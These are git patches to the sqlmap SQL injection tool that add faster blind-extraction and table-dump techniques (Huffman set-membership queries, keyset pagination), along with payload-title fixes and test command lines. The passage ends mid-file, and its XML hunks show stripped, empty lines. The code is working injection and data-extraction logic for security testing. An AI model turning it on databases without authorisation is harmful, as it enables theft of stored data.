8cc1e226d4150fe8aa1a056e5d32d858ed6444d3d4e2af7fb4bc08f0bbe9d527 lib/takeover/xp_cmdshell.py -42368a281d4d6f1571da95f2fb67afc43696ecdb6cad9720a178461f861b4fcd lib/techniques/blind/inference.py +4dcc79ef8c6af69d9890f16e06cacad70c2e657770d8afca0e425833cd780f08 lib/techniques/blind/inference.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/blind/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/dns/__init__.py 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1 lib/techniques/dns/test.py @@ -253,7 +253,7 @@ a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps 0cd3860c03e39bacd1d0fe4cf1a0c605de48ff82f70441319f21d47e38e7e3a9 lib/utils/hashdb.py 71a66ff766a2921106770b26acff380de469222dc893816a7b970b384c927666 lib/utils/hash.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py -e7d31de0e268c129ee11c590eb618f73a85e1022c08b8ed1f77753043c949214 lib/utils/pivotdumptable.py +04b28ad98340a589eb9b21d014c435e8193c2bea3a21af9875b6f23c9b270f1f lib/utils/pivotdumptable.py c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/progress.py c442e9ef8324fd6fdf7bc334d765f0a6ce4037397eb3d79d59b5ce3e9a043855 lib/utils/prove.py 2cd84db16edef8c9948e197a51d870cf1c338f4a89037b4d422de990f4a45237 lib/utils/purge.py @@ -481,7 +481,7 @@ e2e20e4707abe9ed8b6208837332d2daa4eaca282f847412063f2484dcca8fbd plugins/dbms/v 51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc plugins/generic/connector.py a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3 plugins/generic/custom.py 020f0f828121fe03704fdef241364ffd33c5dce1e5d04028bc7375b4563c3696 plugins/generic/databases.py -36b7319ac00f8fe1a33496364a76ff165ea2e66db0150f5366a45135366369ca plugins/generic/entries.py +13086bfae6022edc2bbd35512fa3bda3402c269e9d6148ffe386ba5b8b4ba461 plugins/generic/entries.py d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py a02ac4ebc1cc488a2aa5ae07e6d0c3d5064e99ded7fd529dfa073735692f11df plugins/generic/filesystem.py efd7177218288f32881b69a7ba3d667dc9178f1009c06a3e1dd4f4a4ee6980db plugins/generic/fingerprint.py diff --git a/lib/core/common.py b/lib/core/common.py index 2d4c7bc51d5..3e1176bf9e1 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2077,7 +2077,7 @@ def getFileType(filePath): """ Returns "magic" file type for given file path - >>> getFileType(__file__) + >>> getFileType(paths.SQL_KEYWORDS) 'text' >>> getFileType(sys.executable) 'binary' diff --git a/lib/core/settings.py b/lib/core/settings.py index d01875d0906..872c2aa4f9d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.126" +VERSION = "1.10.6.127" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -514,6 +514,12 @@ # Wrapper applied to MySQL UNION-based retrieval values to neutralize "Illegal mix of collations" errors (e.g. utf8mb4_0900_ai_ci tables vs a utf8mb4_general_ci connection on MySQL 8+). CONVERT normalizes the (possibly binary) charset to utf8mb4 and the explicit COLLATE then wins the UNION column merge (highest coercibility) MYSQL_UNION_VALUE_CAST = "CONVERT(%s USING utf8mb4) COLLATE utf8mb4_bin" +# Row count at/above which keyset (seek) pagination is used automatically for table dumps when a usable integer-key cursor exists (smaller tables keep the plain LIMIT/OFFSET path; '--keyset' forces it regardless of size) +KEYSET_MIN_ROWS = 1000 + +# Number of consecutive Huffman (set-membership) character attempts allowed to decline/escape without a single validated success before the technique latches itself off (safety against trimmed/blocked long IN() payloads) +HUFFMAN_PROBE_LIMIT = 8 + # Minimum range between minimum and maximum of statistical set MIN_STATISTICAL_RANGE = 0.01 From bbc49360c7c18c6a6d9de684068de22277d03e29 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 20 Jun 2026 00:00:06 +0200 Subject: [PATCH 583/853] Fixing several inaccurate payload titles --- data/txt/sha256sums.txt | 2 +- data/xml/payloads/boolean_blind.xml | 4 ++-- data/xml/payloads/error_based.xml | 2 +- lib/core/settings.py | 2 +- 4 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 86ca69ea72b..b7f562c0df9 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -a79daf5b4b19e731256b73f6797237f8948f5c8aa5683879f293783521c64f6b lib/core/settings.py +e90183a7b5af8d5dd411cb74e3c24a9320b3194051a19abe0791fffae2b34fea lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/data/xml/payloads/boolean_blind.xml b/data/xml/payloads/boolean_blind.xml index 0cf17140456..4fdd23cf1f4 100644 --- a/data/xml/payloads/boolean_blind.xml +++ b/data/xml/payloads/boolean_blind.xml @@ -598,7 +598,7 @@ Tag: - SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON) + SQLite AND boolean-based blind - WHERE or HAVING clause (JSON) 1 2 1 @@ -617,7 +617,7 @@ Tag: - SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON) + SQLite OR boolean-based blind - WHERE or HAVING clause (JSON) 1 3 3 diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index a6ad852cdbd..f71fa33e6e1 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -271,7 +271,7 @@ - MySQL >= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) + MySQL >= 5.0 (inline) error-based - Table name clause (FLOOR) 2 5 1 diff --git a/lib/core/settings.py b/lib/core/settings.py index 872c2aa4f9d..3ab1357190d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.127" +VERSION = "1.10.6.128" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 889ad435412487c25bb632bff5cfb2428e32ea29 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 20 Jun 2026 00:00:22 +0200 Subject: [PATCH 584/853] Adding adaptive set-membership (Huffman) retrieval for faster blind dumps --- data/txt/sha256sums.txt | 2 +- lib/core/option.py | 5 ++ lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 13 ++++ lib/techniques/blind/inference.py | 110 ++++++++++++++++++++++++++++++ 6 files changed, 131 insertions(+), 2 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b7f562c0df9..14288ba5a22 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -e90183a7b5af8d5dd411cb74e3c24a9320b3194051a19abe0791fffae2b34fea lib/core/settings.py +fcb89f3b6474c6201fe2a77417c5c422e4f81a5f44567a51fb05eb6f6df22e93 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/lib/core/option.py b/lib/core/option.py index 5cb69d297d2..53163bc8ed0 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2145,6 +2145,11 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.heuristicTest = None kb.hintValue = "" kb.htmlFp = [] + kb.huffmanModel = {} + kb.huffmanValidated = False + kb.disableHuffman = False + kb.huffmanProbes = 0 + kb.huffmanEscapes = 0 kb.httpErrorCodes = {} kb.inferenceMode = False kb.ignoreCasted = None diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index af5c5ab6b84..9270511c036 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -270,6 +270,7 @@ "Hidden": { "dummy": "boolean", "disablePrecon": "boolean", + "noHuffman": "boolean", "profile": "boolean", "forceDns": "boolean", "murphyRate": "integer", diff --git a/lib/core/settings.py b/lib/core/settings.py index 3ab1357190d..da96022a6d8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.128" +VERSION = "1.10.6.129" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 1ef639ed6b0..e369f19c99d 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -848,6 +848,9 @@ def cmdLineParser(argv=None): parser.add_argument("--disable-precon", dest="disablePrecon", action="store_true", help=SUPPRESS) + parser.add_argument("--no-huffman", dest="noHuffman", action="store_true", + help=SUPPRESS) # "Disable adaptive (Huffman) set-membership retrieval used by default to speed up blind table dumps" + parser.add_argument("--profile", dest="profile", action="store_true", help=SUPPRESS) @@ -866,6 +869,16 @@ def cmdLineParser(argv=None): parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true", help=SUPPRESS) + # Experimental: dump table rows via keyset (seek) pagination on a detected indexed + # primary key instead of ORDER BY ... LIMIT/OFFSET (much cheaper on huge tables). + # --keyset forces it for any table size; --no-keyset disables it (incl. the automatic + # use on large tables), falling back to the plain LIMIT/OFFSET dump. + parser.add_argument("--keyset", dest="keyset", action="store_true", + help=SUPPRESS) + + parser.add_argument("--no-keyset", dest="noKeyset", action="store_true", + help=SUPPRESS) + parser.add_argument("--ignore-stdin", dest="ignoreStdin", action="store_true", help=SUPPRESS) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 41c490b7f3b..b1ec44a8df4 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -7,6 +7,7 @@ from __future__ import division +import heapq import re import time @@ -41,6 +42,7 @@ from lib.core.exception import SqlmapThreadException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import CHAR_INFERENCE_MARK +from lib.core.settings import HUFFMAN_PROBE_LIMIT from lib.core.settings import INFERENCE_BLANK_BREAK from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import INFERENCE_GREATER_CHAR @@ -64,6 +66,10 @@ from lib.utils.xrange import xrange from thirdparty import six +# Sentinel returned by the opt-in Huffman retrieval (--huffman) meaning "this character is +# outside the ASCII model (e.g. multi-byte/Unicode) - defer to the classic bisection". +_HUFFMAN_FALLBACK = object() + def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection @@ -270,6 +276,95 @@ def validateChar(idx, value): return result + def huffmanChar(idx): + """ + Adaptive retrieval of a single character using set-membership ("... IN (...)") + questions driven by a Huffman tree built from an online frequency model of the data + retrieved so far (used by default for blind table dumps; '--no-huffman' disables it). + The expected number of requests approaches the + data's entropy (fewer on text/hex), while uniform/binary data yields a balanced tree + (i.e. no penalty versus the classic bisection). + + Correctness does NOT depend on the (shared, racily updated) model: the tree is a + decision tree over the whole 0..127 range plus a dedicated ESCAPE leaf. At every node + the child that does NOT contain ESCAPE is the one tested, so any value outside 0..127 + (e.g. multi-byte/Unicode) fails every membership test, lands on ESCAPE and is handed + back to the classic bisection. Returns the character, or None to fall back. + """ + ESCAPE = -1 + model = kb.huffmanModel + + heap = [] + for order, ordinal in enumerate(xrange(128)): + heapq.heappush(heap, (model.get(ordinal, 0) + 1, order, (ordinal,))) + heapq.heappush(heap, (max(model.get(ESCAPE, 0), 1), 128, (ESCAPE,))) + + counter = 129 + while len(heap) > 1: + w1, _, n1 = heapq.heappop(heap) + w2, _, n2 = heapq.heappop(heap) + heapq.heappush(heap, (w1 + w2, counter, (n1, n2))) + counter += 1 + node = heap[0][2] + + def _concrete(n): + if len(n) == 1: + return [] if n[0] == ESCAPE else [n[0]] + return _concrete(n[0]) + _concrete(n[1]) + + def _hasEscape(n): + return n[0] == ESCAPE if len(n) == 1 else (_hasEscape(n[0]) or _hasEscape(n[1])) + + template = payload.replace("%s%s" % (INFERENCE_GREATER_CHAR, "%d"), " IN (%s)", 1) + + while len(node) == 2: + left, right = node + + if _hasEscape(left): + testNode, otherNode = right, left + elif _hasEscape(right): + testNode, otherNode = left, right + else: + leftLeaves, rightLeaves = _concrete(left), _concrete(right) + testNode, otherNode = (left, right) if len(leftLeaves) <= len(rightLeaves) else (right, left) + + testSet = _concrete(testNode) + setExpr = ','.join(str(_) for _ in testSet) + forgedPayload = safeStringFormat(template, (expressionUnescaped, idx, setExpr)) + result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + + node = testNode if result else otherNode + + value = node[0] + + if value == ESCAPE: + model[ESCAPE] = model.get(ESCAPE, 0) + 1 + return _HUFFMAN_FALLBACK + + if value == 0: + # ORD(MID(..)) of an empty (past end-of-string) character is 0; mirror the classic + # bisection and signal end-of-string (do NOT pollute the model with the sentinel). + return None + + # One-time safety validation: cross-check the first set-membership result with a short + # equality probe. Unlike the long IN() lists, a single '=N' comparison cannot be + # truncated/mangled by a parameter-length limit or a WAF, so it is a trustworthy oracle. + # If it disagrees, the IN() channel is unreliable here: latch the technique off so the + # classic '>' bisection takes over for the rest of the run (graceful fallback). + if not kb.huffmanValidated: + verifyPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, value)) + verified = Request.queryPage(verifyPayload, timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + if verified: + kb.huffmanValidated = True + else: + kb.disableHuffman = True + return _HUFFMAN_FALLBACK + + model[value] = model.get(value, 0) + 1 + return decodeIntToUnicode(value) + def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ continuousOrder means that distance between each two neighbour's @@ -283,6 +378,21 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, if result: return result + if (not conf.noHuffman and not kb.disableHuffman and dump and continuousOrder and charsetType is None and not timeBasedCompare + and ("%s%s" % (INFERENCE_GREATER_CHAR, "%d")) in payload + and ("'%s'" % CHAR_INFERENCE_MARK) not in payload): + kb.huffmanProbes = (kb.huffmanProbes or 0) + 1 + result = huffmanChar(idx) + if result is not _HUFFMAN_FALLBACK: + return result + # huffman declined this character (Unicode/escape, or failed the validation probe). + # If the set-membership channel keeps escaping it is not paying off here (trimmed/ + # blocked long payloads, or non-ASCII-heavy data) -> latch off so the classic '>' + # bisection takes over efficiently for the rest of the run. + kb.huffmanEscapes = (kb.huffmanEscapes or 0) + 1 + if kb.huffmanProbes >= HUFFMAN_PROBE_LIMIT and kb.huffmanEscapes * 2 >= kb.huffmanProbes: + kb.disableHuffman = True + if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) From 497d3772bd0e3c6f63e58d0d16090abfb56031be Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 20 Jun 2026 00:00:40 +0200 Subject: [PATCH 585/853] Adding keyset (seek) pagination for faster blind table dumps --- data/txt/sha256sums.txt | 3 +- data/xml/queries.xml | 23 ++- lib/core/settings.py | 2 +- lib/core/testing.py | 1 + lib/utils/keysetdump.py | 312 ++++++++++++++++++++++++++++++++++++ lib/utils/pivotdumptable.py | 4 +- plugins/generic/entries.py | 25 ++- 7 files changed, 355 insertions(+), 15 deletions(-) create mode 100644 lib/utils/keysetdump.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 14288ba5a22..8dc1cb6228c 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -fcb89f3b6474c6201fe2a77417c5c422e4f81a5f44567a51fb05eb6f6df22e93 lib/core/settings.py +8411f42e10133c779cff837c6e51698cfebe0796f93ca9e3575a5644d64a3e04 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -253,6 +253,7 @@ a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps 0cd3860c03e39bacd1d0fe4cf1a0c605de48ff82f70441319f21d47e38e7e3a9 lib/utils/hashdb.py 71a66ff766a2921106770b26acff380de469222dc893816a7b970b384c927666 lib/utils/hash.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py +1bbf57e43f921d4132e6e5a336ff39454a9506b36de94ebcc45879d0abcac56a lib/utils/keysetdump.py 04b28ad98340a589eb9b21d014c435e8193c2bea3a21af9875b6f23c9b270f1f lib/utils/pivotdumptable.py c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/progress.py c442e9ef8324fd6fdf7bc334d765f0a6ce4037397eb3d79d59b5ce3e9a043855 lib/utils/prove.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index cc26298eada..64e8823cc54 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -61,7 +61,8 @@
- + + @@ -136,7 +137,8 @@ - + + @@ -207,7 +209,8 @@ - + + @@ -302,7 +305,8 @@ - + + @@ -362,7 +366,7 @@ - + @@ -726,7 +730,8 @@ - + + @@ -790,7 +795,8 @@ - + + @@ -1445,7 +1451,8 @@ - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index da96022a6d8..d1a9cbae967 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.129" +VERSION = "1.10.6.130" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index e082dce197b..a640c977993 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -84,6 +84,7 @@ def vulnTest(): ("-u --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")), ("-u --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 31 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")), ("-u --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), + ("-u --flush-session --technique=B --keyset --dump -T users", ("using keyset (seek) pagination", "30 entries", "luther", "nameisnull")), # keyset/seek dump via the SQLite rowid cursor ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")), ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), diff --git a/lib/utils/keysetdump.py b/lib/utils/keysetdump.py new file mode 100644 index 00000000000..2b38f2c5719 --- /dev/null +++ b/lib/utils/keysetdump.py @@ -0,0 +1,312 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.agent import agent +from lib.core.bigarray import BigArray +from lib.core.common import Backend +from lib.core.common import isNoneValue +from lib.core.common import singleTimeWarnMessage +from lib.core.common import unArrayizeValue +from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.compat import xrange +from lib.core.convert import getConsoleLength +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.data import queries +from lib.core.dicts import DUMP_REPLACEMENTS +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS +from lib.core.enums import EXPECTED +from lib.core.settings import NULL +from lib.core.unescaper import unescaper +from lib.request import inject +from lib.utils.safe2bin import safechardecode + +# back-end DBMSes whose dump table reference is schema/database-qualified (db.table). +# Note: for MSSQL the table identifier already carries its schema (e.g. dbo.users), so the +# plain db.table form yields the correct db.schema.table (e.g. [master].dbo.users). +KEYSET_SCHEMA_QUALIFIED = (DBMS.MYSQL, DBMS.PGSQL, DBMS.CRATEDB, DBMS.MSSQL, DBMS.H2, DBMS.HSQLDB) + +def _tableRef(tbl): + dbms = Backend.getIdentifiedDbms() + if dbms in (DBMS.ORACLE,) and conf.db: + return "%s.%s" % (conf.db.upper(), tbl.upper()) + if dbms in KEYSET_SCHEMA_QUALIFIED and conf.db: + return "%s.%s" % (conf.db, tbl) + return tbl + +def keysetSupported(): + """ + Whether the back-end DBMS declares the keyset (seek) pagination queries and a + cursor source (a physical row-id pseudo-column or a primary-key catalog lookup) + """ + + dumpNode = queries[Backend.getIdentifiedDbms()].dump_table + return "keyset_next" in dumpNode.blind and ("rowid" in dumpNode.blind or "primary_key" in dumpNode) + +def _integerCursor(tbl, cursor): + """ + Whether every cursor column holds integer values, probed via MIN(col). + + Only integer keys are accepted: _embed() emits them as bare numeric literals, giving a + numeric comparison that matches MIN/ORDER BY. String (and even decimal) keys would be + escaped to a binary/hex literal whose order can differ from MIN's collation and silently + skip rows, so they are rejected here and fall back to the OFFSET dump. + """ + + blind = queries[Backend.getIdentifiedDbms()].dump_table.blind + ref = _tableRef(tbl) + + for column in cursor: + query = agent.whereQuery(blind.keyset_first % (agent.preprocessField(tbl, column), ref)) + value = unArrayizeValue(inject.getValue(query)) + + # empty/NULL MIN (e.g. empty table) is not disqualifying; the walk just yields no rows + if not isNoneValue(value) and re.match(r"\A-?[0-9]+\Z", getUnicode(value).strip()) is None: + return False + + return True + +def resolveKeysetCursor(tbl, colList): + """ + Returns the list of column(s) forming a stable, indexed cursor for keyset (seek) + pagination of the table: a declared physical row-id pseudo-column when available, + otherwise the indexed primary key (single or composite) resolved from the catalog. + Returns None when neither applies or a key column is not part of the dumped columns. + """ + + if not keysetSupported(): + return None + + dumpNode = queries[Backend.getIdentifiedDbms()].dump_table + + # 1) a declared physical row-id pseudo-column (always unique + indexed where supported) + if "rowid" in dumpNode.blind: + return [dumpNode.blind.rowid] + + # 2) the indexed primary key (single-column, or composite when keyset_ordered is declared) + pkNode = dumpNode.primary_key + + # Note: schema/table are string literals in the catalog lookups, so the unquoted + # (identifier-unescaped) names are used (the dump queries keep the quoted form) + unsafeDb = unsafeSQLIdentificatorNaming(conf.db) + unsafeTbl = unsafeSQLIdentificatorNaming(tbl) + + # Note: no whereQuery() here - these are catalog (schema) lookups, so the data-row + # filter from --where must not be appended to them + query = pkNode.count % (unsafeDb, unsafeTbl) + count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + try: + count = int(count) + except (ValueError, TypeError): + return None + + if count < 1: + return None + + # composite keys require the row-value/ordered keyset form + if count > 1 and "keyset_ordered" not in dumpNode.blind: + return None + + cursor = [] + for index in xrange(count): + query = pkNode.query % (unsafeDb, unsafeTbl, index) + column = unArrayizeValue(inject.getValue(query)) + + if not column: + return None + + match = None + for _ in colList: + if _ and _.lower() == column.lower(): + match = _ + break + + if match is None: + return None + + cursor.append(match) + + # restrict to integer cursors: a string key's escaped-literal comparison may order + # differently than MIN/ORDER BY and silently skip rows (such keys fall back to OFFSET) + if not _integerCursor(tbl, cursor): + return None + + return cursor + +def _lit(value): + """ + Type-correct SQL literal for a cursor value: a bare numeric literal for numeric keys + (so the index is still used and the comparison is numeric), otherwise the DBMS-escaped + (e.g. 0x.. hex) form for string keys. Both forms are self-contained (no surrounding quotes). + """ + + if value is not None and re.match(r"\A-?[0-9]+\Z", value): + return value + return unescaper.escape(value, False) + +def _embed(template, value, *fixed): + """ + Fills a single-column keyset template whose trailing placeholder is the cursor value. + """ + + template = template.replace("'%s'", "%s") + return template % (fixed + (_lit(value),)) + +def _dumpSingle(tbl, colList, count, cursor, tableRef, entries, lengths): + blind = queries[Backend.getIdentifiedDbms()].dump_table.blind + field = agent.preprocessField(tbl, cursor) + + if conf.limitStart and conf.limitStop: + target = max(0, conf.limitStop - conf.limitStart + 1) + elif conf.limitStop: + target = conf.limitStop + elif conf.limitStart: + target = max(0, count - conf.limitStart + 1) + else: + target = count + + pivotValue = None + + # hybrid: a single OFFSET jump to seed the cursor just before --start, then pure keyset + if conf.limitStart and conf.limitStart > 1 and "keyset_seed" in blind: + query = agent.whereQuery(blind.keyset_seed % (field, tableRef, field, conf.limitStart - 2)) + seed = unArrayizeValue(inject.getValue(query)) + + if isNoneValue(seed) or seed == NULL: + return + + pivotValue = safechardecode(seed) + + produced = 0 + + while produced < target: + if pivotValue is None: + query = blind.keyset_first % (field, tableRef) + else: + query = _embed(blind.keyset_next, pivotValue, field, tableRef, field) + + query = agent.whereQuery(query) + value = unArrayizeValue(inject.getValue(query)) + + if isNoneValue(value) or value == NULL: + break + + value = safechardecode(value) + + # safety latch against a non-advancing cursor (e.g. encoding edge cases) + if value == pivotValue: + singleTimeWarnMessage("keyset cursor stopped advancing prematurely") + break + + pivotValue = value + + for column in colList: + if column == cursor: + colValue = pivotValue + else: + query = _embed(blind.keyset_by, pivotValue, agent.preprocessField(tbl, column), tableRef, field) + query = agent.whereQuery(query) + colValue = unArrayizeValue(inject.getValue(query, dump=True)) + + colValue = "" if isNoneValue(colValue) else colValue + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colValue), getUnicode(colValue)))) + entries[column].append(colValue) + + produced += 1 + +def _dumpComposite(tbl, colList, count, cursorCols, tableRef, entries, lengths): + blind = queries[Backend.getIdentifiedDbms()].dump_table.blind + fields = [agent.preprocessField(tbl, _) for _ in cursorCols] + orderExpr = ','.join(fields) + + startSkip = (conf.limitStart - 1) if conf.limitStart else 0 + if conf.limitStart and conf.limitStop: + target = max(0, conf.limitStop - conf.limitStart + 1) + elif conf.limitStop: + target = conf.limitStop + elif conf.limitStart: + target = max(0, count - conf.limitStart + 1) + else: + target = count + + prev = None + produced = 0 + seen = 0 + + while produced < target and seen < count: + if prev is None: + condition = "1=1" + else: + # ANSI row-value (tuple) comparison advances the composite cursor lexicographically + condition = "(%s)>(%s)" % (orderExpr, ','.join(_lit(_) for _ in prev)) + + tup = [] + for field in fields: + query = 